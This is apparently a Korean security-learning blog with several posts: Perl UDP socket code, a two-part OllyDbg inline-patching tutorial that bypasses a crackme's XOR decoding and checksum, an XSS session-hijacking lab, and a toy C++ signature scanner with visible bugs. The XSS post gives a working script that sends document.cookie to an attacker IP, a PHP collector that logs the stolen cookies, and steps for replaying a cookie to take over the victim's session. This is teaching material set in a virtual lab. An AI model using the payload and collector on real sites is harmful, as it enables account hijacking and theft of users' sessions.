Monday, August 12, 2013

Perl Socket-Programming by using UDP protocol.


 Perl 의 Socket 이라는 Module 을 이용한 Socket Programming.
먼저 Server side Programming.

우선 Basic statement

#Server side:
#! /usr/bin/perl -w

use strict;
use Socket;   #Socket Module 사용

#사용할 Port 와 최대로 받고 싶은 길이, 도메인 네임을
#use constant 를 이용하여 정의. (C에서 #define 과 같은 의미로 보면된다)

use constant SIMPLE_UDP_PORT => 4001;
use constant MAX_RECV_LEN => 1500;
use constant LOCAL_INETNAME => 'localhost';


#다음 Socket Module 의 함수를 이용하여 스칼로로 리턴

#- 간단한 함수의 정의
#getprotobyname() : protocol name 으로 service port number 를 리턴.
#gethostbyname() : domain name 으로 host IP 를 리턴.
#sockaddr_in(): 포트정보와 IP Address 정보로 socket address 를 리턴
#혹은 socket address 로 IP Address 와 포트정보를 리턴.

my $trans_serv = getprotobyname( 'udp' );
my $local_host = gethostbyname( LOCAL_INETNAME );
my $local_port = SIMPLE_UDP_PORT;
my $local_addr = sockaddr_in( $local_port, INADDR_ANY );

#socket() : socket open 상수전달
#(Protocol family, Address family, Socket Type, Linux specific shortcut)

socket( UDP_SOCK, PF_INET, SOCK_DGRAM, $trans_serv )
     or die "udp_s2: socket creation failed : $!\n";

bind( UDP_SOCK, $local_addr )
     or die "udp_s2: bind to address failed : $!\n";


#Client 로 부터 전달 받은 메시지를 while문을 통해 출력.

my $data;
while( 1 ){
     my $from_who = recv( UDP_SOCK, $data, MAX_RECV_LEN, 0 );
     if ( $from_who ){
          my ( $the_port, $the_ip ) = sockaddr_in( $from_who );
          my $remote_name = gethostbyaddr( $the_ip, AF_INET );
          warn "Received from $remote_name: $data\n";
     }
     else{
          warn "Problem with recv: $!\n";
     }
}


#Client side:

#! /usr/bin/perl -w

use strict;
use Socket;
use constant SIMPLE_UDP_PORT => 4001;
use constant REMOTE_HOST => 'localhost';

#||(or) : 명령행 전달인자가 있을경우 취하고 없으면 REMOTE_HOST 상수를 이용해 받음.
#protocol name 으로 서비스 포트넘버를  리턴.
#or 의 기본 연산원리를 이용한 것으로 첫번째 인자가 false 일 경우 두번째 인자를
#검사를 하지만, 첫번째 인자가 True 인경우 두번째 인자와는 관계없이 True 이므로
#두번째 인자는 검사하지 않는다. 즉 아규먼트가 있으면  shift 되지만 없을경우
#위에서 정의된 REMOTE_HOST 상수값이 리턴된다.

my $remote = shift || REMOTE_HOST;
my $trans_serv = getprotobyname( 'udp' );
my $remote_host = gethostbyname( $remote )
or die "udp_c2: name lookup failed : $remote\n";

my $remote_port = shift || SIMPLE_UDP_PORT;
my $destination = sockaddr_in( $remote_port, $remote_host );

socket( UDP_SOCK, PF_INET, SOCK_DGRAM, $trans_serv )
or die "udp_s2: socket creation failed : $!\n";

#send(): $destination 측으로 $data 를 메시지로 전송.

my $data = "Hello Server ~~!!";
send( UDP_SOCK, $data, 0, $destination )
or warn "udp_c2: send to socket failed.\n";

close UDP_SOCK
or die "udp_c2: close socket failed : $!\n";


#Referenced 'Programming the network with perl'    - Paul Barry -








Monday, August 5, 2013

Reversing - 파일의 빈영역에 Inline Patch 하기 (2)

 Reversing - 파일의 빈영역에 Inline Patch 하기 1부에 이어서...

40109b 부터 Decoding 이 이루어지며 checksum 값을 이용하여 변조 여부를 판별하기에
직접 변경하기에는 조금 까다롭습니다.

그래서 파일의 빈 영역을 확인하여 그 공간에 패치를 실행하는 코드를 삽입하고
EP코드에서 Decoding 이 모두 이루어진 다음에 우리가 만든 패치코드로 가는
jmp code 를 삽입한후 patch가 모두 끝나면 OEP로 이동하도록 만들겠습니다.

PEview 라는 유틸을 이용하여 빈공간을 확인해봅시다.













.text 섹션을 보면 size of raw data(file alignment) 는 0x400 이고 실제 사용하는
바이트(Virtual Size) 는 0x280 입니다. 즉 0x400 에서 0x280 을 뺀만큼은
빈 공간으로 Null Padding 영역입니다. 이 공간을 사용하도록 하겠습니다.
(참고로 File에서의 할당 단위는 Size of Raw Data, 또는 File Alignment 라고하고,
  메모리에서는 Section Alignment 라고합니다.)

그럼 빈 공간으로 이동해 봅시다.
Pointer to Raw Data 가 0x400 으로 시작지점은 0x400 입니다. 즉
0x400부터 0x680까지 사용하고 0x680부터 0x800 까지가 빈 영역입니다.

이러한 파일이 메모리 상으로 올라가게 되면 file alignment 가 아닌 section alignment
단위로 바뀌게 됩니다.

image base 값은 00400000 이며, section alignment 는 1000 입니다.
file alignment 에서는 400 + 280 이지만, 메모리에서는 1000 + 280 이라는 얘기입니다.
따라서 이동할 메모리 공간은 00401280 입니다.














이동을 해보면 역시 0 이 채워져 있는 Null Padding 영역임을 알 수 있습니다.
이제 위에서 구한 복호화 된 문자열을 다른 문자열로 patch 하겠습니다.











위 그림과 같이 패치하고 싶은 문자열을 넣고 해당 문자열이 있는 위치를
source로 하여 기존 문자열 [edi] 를 patch 합니다.
문자열은 \0 까지 포함하여 길이를 계산 합니다.














그리고 복호화가 완료되고 OEP로 가기전에 우리가 패치한 부분이
실행이 되게 401083 주소를 jmp 401280 으로 변경합니다.

그런후 저장을 하고 실행을 하게 되면 아래와 같이 checksum 오류가 발생합니다.
바로 401083 영역이 xor 7로 암호화 되어 있는 영역인데 이값을 변경해서 그렇습니다.
(401007~ 401085 까지가 xor 7 로 암호화된 영역입니다)












401083 의 화일에 해당하는 영역 0x483 으로 이동해 보겠습니다.
Hex edit 를 이용해 열어봅니다.












483 영역을보면 01f8e9 이라고 되어 있습니다.
xor 7 로 암호화 된 값이 이 값이 되어야 합니다.
따라서,

01 xor 7 = 6
f8 xor 7 = ff
e9 xor7 = ee
따라서 06ffee 값으로 변경 및 저장해 주셔야 합니다.















그리고 실행하면 정상적으로 patch가 되었음을 알수있다.

















- 참고 도서 : Reversing 핵심원리(이승원 저)

Reversing - 파일의 빈영역에 Inline Patch 하기 (1)


 해당 프로그램이 실행압축이나 암호화 등으로 파일 코드를 직접 수정하기 어려울 때
많이 진행하는 Inline Patch 에 대해 실습하겠습니다.

보통의 실행압축이나 암호화 파일은 EP 에서 OEP코드를 복호화 시키고 복호화 시킨
코드쪽으로 점프를 합니다.

이 과정에서 우리에게 필요한 Patch 를 삽입하기 위해 화일의 빈공간 패치할 코드를
입력하고 EP 에서 복호화 과정이 끝나면 OEP가 아닌 우리가 만들어 둔 패치
영역으로 Jmp를 시켜 Patch 가 모두 끝나면 OEP로 돌려 보내는 방법입니다.

이미 복호화가 끝난 상태에서 Patch를 진행하기 때문에 암호화 되어있던,
실행압축이 되어있던 관계없이 정상적으로 Patch가 진행됩니다.

일반적인 코드 Patch 와의 차이점은 프로그램이 실행될 때 마다 매번 Patch코드가
진행이 된다는 점입니다.

실습을 위해 공개된 Patchme 예제를 사용합니다.

InlinePatch 실습 예제 (download from 구글 드라이브)

일단 실행을 해보면 You must patch this MAG !!! 라는 문자열이 담긴 창이 나오고
확인 버튼을 클릭하면 You must unpack me !!! 라는 문자열이 보이게 됩니다.

위 두 문자열을 다른 문자열로 바꿔 출력하는 것이 이번 Inline Patch 목표입니다.
올리(OllyDBG)로 열어 해당 문자열을 찾아봅시다.
아래를 보면 Code가 암호화 되어 보이지 않는다는 것을 알 수 있습니다.















Search for All referenced text strings. 로 찾아보면 보이지 않습니다.
암호화 되어 있다는 것을 유추 할 수 있습니다.












위 call 부분 401001 부분을 따라가서 진행하다 보면 아래와 같은 코드를 보게 됩니다.



















중간에 있는 While 문으로 추정되는

mov ecx,154
xor byte prt ds:[ebx], 44
sub ecx,1
inc ebx
cmp ecx,0
jnz

로 봤을때 이 부분이 복호화 하는 부분으로 유추해 볼 수 있습니다.
특정한 값으로 xor 연산하고 ecx에 있는 값을 하나 감소시키고,
다음바이트로 이동하기 위해 ebx를 하나 증가 시키고, ecx를 비교해서 0이 될때까지
즉 최초 ecx에 넣은 0x154바이트 만큼 반복을 하고 ecx가 0이 되는 순간 while 문을
빠져 나오게 됩니다.

즉 ebx 에 들어있는 주소로부터 0x154 바이트만큼 xor byte ptr ds:[ebx],44 로
복호화가 되는겁니다. 범위는 4010f5 ~ 401248
(4010f5 + 0x154 한값.(offset 에 0도 포함되기 때문에 0x154 더한값에 1을 빼줍니다)

조금더 진행하여 4010b0 주소의 call 을 따라가면 바로 아래부분의(4010bd) 또 다른
복호화문을 만나게 됩니다.















이부분은 401007 부터 401085 까지 0x7f 만큼 xor 7 로 복호화가 진행되고,
이어서 4010f5 부터 401248 까지 0x154 만큼 xor 11 로 다시 한번더 복호화 됩니다.

쭉 진행하다가 4010b6주소의 call 401039를 만나게 되면
아래와 같은 코드가 있습니다.











위 코드에서

push eax
mov ebx,eax
mov ecx,154
mov edx,0
add edx,dword ptr ds:[ebx]
sub ecx,1
inc ebx
cmp ecx,0
jnz 00401046

부분을 보면 ebx 에 들어있는 4바이트를 0x154 만큼 계속해서 누적으로 더해서
edx 에 넣고 있습니다. edx는 4010f5 ~ 401248 부분이 변조가 되었는지
변조 되지 않았는지를 확인하는 checksum 부분입니다.

보통의 checksum 은 이러한 모든 값을 더한후에 sum 값을 가지고 판단합니다.
단 한글자라도 변조가 있었다면 아래의 아스키 문자열 Error crc of this file ...
이라는 메시지박스가 출력 되는것을 알 수 있습니다.

401062 주소의 cmp 를 통해 checksum 값과 31eb8db0 값과 비교를 하는것을 확인
할 수 있습니다. 코드가 변조되지 않았으면, Original EP로 이동하게 됩니다.

우리가 원하는 문자열로 변경하려면 그에 맞게 checksum 비교 부분도 바꿔야합니다.

OEP code (0040121e) 까지 진행이 되었다면
Olly 에서 analysis > analyse code (Ctrl + A) 를 선택하여
현재까지 복호화된 code를 확인해 봅시다.












아래쪽의 DialogBox 를 호출하는 API 함수를 살펴 봅시다.
5개의 인자가 들어가는데 DlgProc 라고 되어있는 4번째 인자가 바로
DialogBoxParam() 이라는 API 호출 주소입니다. 호출주소인 4010f5로 가봅시다.















위 그림에서 아래쪽에 보면 우리가 봤던 최초의 문자열이 있고
그 문자열이 있는 주소를 호출해서 DialogBox가 호출되는 것을 알수 있습니다.
아스키 문자열이 들어있는 주소는 401123 과 40110a 입니다.

지금까지의 코드 흐름과 xor암호화, checksum code를 참고해서 직접 수정해도
되지만 인라인패치를 통해서 코드를 추가해 보도록 하겠습니다.

코드 추가는 2부에서...



- 참고 도서 : Reversing 핵심원리(이승원 저)



Saturday, August 3, 2013

Cross Site Scripting 을 통한 Session Hijacking 공격.

 본 블로그는 지식 습득후 저장을 하는 공간입니다.
블로그 내의 게시글을 인터넷에서 악의적으로 사용할 경우 본인에게 책임이 있습니다.

 OWASP-Top10(2013) 의 A3 에 위치한 XSS (Cross Site Scripting) 을 통해 Session Hijacking 
 하는 법에 대해 알아 보겠습니다.


<준비>

우선 Backtrack(attacker) 과 Win XP(victim) 를 VM에 올려야 하고, 실습을 위한 Webserver 가 필요합니다.
Webserver 는 Win2000 에 올려놓고 하겠습니다.
물론 Win2000에 올라가 있는 Webserver 는 XSS 공격에 취약한 site 여야합니다.
Website 구축시 PHP를 많이 이용하는데 PHP 같은 경우 설정화일에서 Magic Quote GPC 가 Off 되어 있으면
XSS 공격에 취약해집니다. 다른 Script 언어를 사용하게 될 경우 확인하시고 수정해주세요.

<공격 시나리오>

시나리오는 이렇습니다. 
공격자인 Backtrack 에서 Website 를 돌아다니다 XSS 에 취약한 사이트를 발견하고 공격시도에 들어갑니다.
이때 사용되는 Script 는  <script>alert("test");</script> 

<실습>

게시판에서 스크립트를 등록하고 게시글을 읽었을때 test 라는 메시지창이 출력이 되면 XSS 공격에 
취약한 것입니다.























게시글을 등록하고 게시글에 접근한 결과 test 라는 메시지창이 뜬것으로 봐서 XSS 공격에 취약한 
사이트 인것으로 보입니다.

이제 공격자가 게시한 글에 접근하는 유저의 세션을 탈취하기 위한 게시글을 만들어 봅시다.
Script 는 다음과 같습니다.

<img name="i"></img>
<script>i.src="http://192.168.37.130/xss.php?cookie="+document.cookie</script> 

위 스크립트는 임의로 img tag를 넣어서 image의 source를 다운로드 받게끔 해놓은것 처럼
위장한 악성 스크립트입니다. src 를 받는 곳은 실제 image가 있는곳이 아닌 backtrack(공격자) 의
IP로 접근하여 victim 자신의 cookie 값을 backtrack 으로 넘겨주고 있는 script 입니다.
























위와 같이 게시판에 악성 script 를 작성합니다.
이제 Backtrack 으로 돌아와서 victim 이 넘겨줄 cookie 값을 받아주기 위해 해야할 작업이 있습니다.

위에서 작성한 악성 script에서 ip뒷부분 xss.php를 만들어 주어야 합니다.
IP에 해당하는 부분이 Backtrack에선 /var/www 에 해당합니다. 따라서
/var/www/xss.php 화일을 생성하고 chmod 777 ./xss.php로 실행권한까지 잊지 말고 주세요.

xss.php 화일의 내용은 다음과 같습니다.
=================================================================================
<?php
     $fd = fopen("/tmp/cookie.dat","a+") or die("can't open file");
     fputs($fd, $_SERVER['REMOTE_ADDR']. "Cookie is". $_GET["cookie"] . "\n");
     fclose($fd);
?>
=================================================================================

xss.php 화일을 만들었다면 /tmp 디렉토리 아래에 cookie.dat 라는 빈파일을 만들어 줍시다.
실제 쿠키가 들어와 저장이 될 화일입니다.
/tmp 디렉토리로 이동하여 touch cookie.dat  로 빈화일을 만들어주시되 역시 chmod 777 ./cookie.dat 
로 접근 가능하도록 해줘야 합니다.


























그런다음 Backtrack 에서 apache 를 실행합니다.
service apache2 start 하면 apache가 실행됩니다.
그런다음 cookie 가 들어오면 바로바로 알 수 있도록 cookie.dat 화일을 모니터링합니다.
tail -F /tmp/cookie.dat 

다 되었습니다. 이제 victim이 게시글을 읽기만 기다리면 됩니다.
victim이 게시글을 읽게되면 victim 의 cookie 값이 Backtrack 의 cookie.dat 에
자동으로 쌓이게 됩니다.

victim 이 클릭을 하게되면 아래와 같이 cookie가 자동으로 쌓입니다.
cookie 값은 ASPSESSIONIDQADQSTRT=AHAOLAJAEFNNBIAFMHDMKLKO 입니다.
























이제 탈취한 Cookie를 이용하여 victim의 ID와 Password 없이 로그인을 해봅시다.
Cookie 변조에 사용할 프로그램은 Paros입니다.
Paros는 Proxy 처럼 동작합니다. Web Proxy라고 생각하면 이해하기 쉽습니다.
I.E 에서 Proxy 설정을 해줍니다. (도구 > 인터넷옵션 > 연결 > Lan설정)
주소는 localhost 또는 127.0.0.1  paros 의 proxy 는 8080 port 를 사용함. 8080 으로 port 설정.





























Paros 를 실행하고 request 를 Trap 한 상태로 사이트로 재접속 합니다.
그러면 아래와 같이 공격자의 Cookie로 request 를 보내는것을 알 수 있습니다.
여기서 획득한 Cookie로 변경을 하면 victim 의 권한으로 로그인이 되는걸 볼 수 있습니다.





























일반적으로 PC room 에서 web surfing 을 하게되면 자신의 Cookie 값이 저장이 됩니다.
타인이 그 쿠키값을 획득하게 되면 문제가 될 수 있습니다. 
공공장소에선 항상 자신의 쿠키값을 지운후 자리를 비우도록 하고, 개인 p/c 가 이닌이상
portal site 자동 로그인 기능은 사용하지 않는것이 좋습니다.






Friday, August 2, 2013

C++ 을 이용한 Virus Vaccine 만들기 by c!pherUX @CodeMink.com


 이번 내용은 정확히 Vaccine 이 어떤식으로 만들어지는지를 아주 단적으로 보여주는
글입니다. 아직까지 어떤 백신도 세로 만들어진 바이러스를 잡아 낼 수가 없습니다.
이미 만들어진 바이러스의 Pattern 을 철저히 분석한 다음에야 Vaccine이 그러한
바이러스를 잡아 낼 수 있는 것입니다.

<준비사항>

우선 바이러스나 악성코드가 들어간 화일을 2개정도 준비.
Notepad++ 같은 Binary 로딩이 가능한 프로그램 준비.


<Vaccine 만들기>

Notepad++ 을 이용해 악성코드가 포함된 화일을 Binary Loading 합니다.
그런 다음 notepad를 열어서 악성코드에 포함된 문자열 pattern 을 아래와 같이
기록합니다.
첫줄에 라인넘버를 기록하고 다음라인에 문자의 순번과 들어간 문자를 공백으로 구분하여
입력합니다. (Line과 Line Number 도 띄어쓰기로 구분)

해당하는 악성코드의 특징적인 문자패턴을 입력하면 됩니다.
여기서는 DOS signiture 와 PE signiture를 사용했내요.
더 많은 Pattern 을 입력해도 됩니다.

정상적인 화일을 악성코드라고 잡아내는 것을 줄일려면 pattern 이 좀 많을수록
좋습니다.

이러한 특징들을 노트패트에 입력후 db.txt 라는 이름으로 저장합니다.
주의. txt화일의 <- virus -> 과 <- End of File -> 도 정확히 넣어주어야 합니다.
<- virus -> 는 바이러스 종류 구분자, <- End of File -> 은 검사할 바이러스의 끝.




아래에 코드를 기술하기 전에 Code에서 하고있는 작업을 나열하면,
1. 검사를 하기 위한 폴더의 모든 화일리스트와 서브 디렉토리를 가져온다음
2. 화일들을 하나씩 순차적으로 위의 db.txt에서 정의했던 pattern 과 비교를 하여
    모두 매치가 된다면 감염 된것으로 간주합니다.
3. 바이러스에 감염된 화일을 어떻게 처리할 것인지? 자동삭제? 사용자에게 질의하기?등등


<Code>
=============================================================================
#include <dirent.h>
#include <string.h>
#include <fstream.h>
#include <conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <iostream.h>
int scan_this(char *file_name)
{
 char *pattern, *line_in_file;
 char file_ch, ch;
 int val, val2, flag;
 ifstream fin3, fin4;
 fin3.open(file_name); //접근할 수 없는 파일이면 종료.
 if(!fin3) return 0;
else //화일이고 읽을수 있다면 화일 open
 {
 //virus db(db.txt) 열기
 fin4.open("db.txt"); //문자열 pattern 이 기록된 txt 화일
for(;;)
 {
 fin4>>pattern;
 if(!strcmp(pattern,"<-"))
 {
 fin4>>pattern;
 if(!strcmpi(pattern,"End"))return -1;
 else if(!strcmpi(pattern, "virus"))
 {
 if(flag) return 1;
 else continue;
 }
 }
 else if(!strcmpi(pattern,"LINE"))
 {
 fin4>>val; // 라인 행
// skipping initial lines to reach the line number
 for(int i=0;i<val-1;i++)
 {
 fin3.getline(line_in_file, 300);
 }
fin4>>val; // 문자의 위치
 fin4>>file_ch; // 문자
//skipping initial character to reach the character
 for(i=0;i<val-1;i++)
 {
 fin3.get(ch);
 }
if(file_ch == ch) flag = 1; // 매치되면
 else flag =0;
 fin3.seekg(0); // set to start
 }
 }
}
}
void main()
{
 char comm[300], dirpath[100], file_name[200];
 char ask;
 int response;
 ifstream fin;
cout<<"Enter Directory you want to scan: "; //scan할 디렉토리 입력
 cin>>dirpath;
strcpy(comm, "dir ");
 strcat(comm, "dirpath /b /s >tmp.$$$");
 system(comm);
fin.open("tmp.$$$");
while(!fin.eof())
 {
 fin.getline(file_name, 200);
 response = scan_this(file_name);
 if(response == 1)
 {
 cout<<"<--!! Caution.! A Virus has been Detected..!";
 cout<<"\n"<<file_name;
 cout<<"\nPress Enter Key to Delete it.";
 ask= getch();
 if(ask == 13)
 {
 remove(file_name); // 바이러스 삭제
 }
 }
 }
fin.close();
 cout<<"Scan Complete.!! Thank You for using our anti virus";
 getch();
}
===========================================================================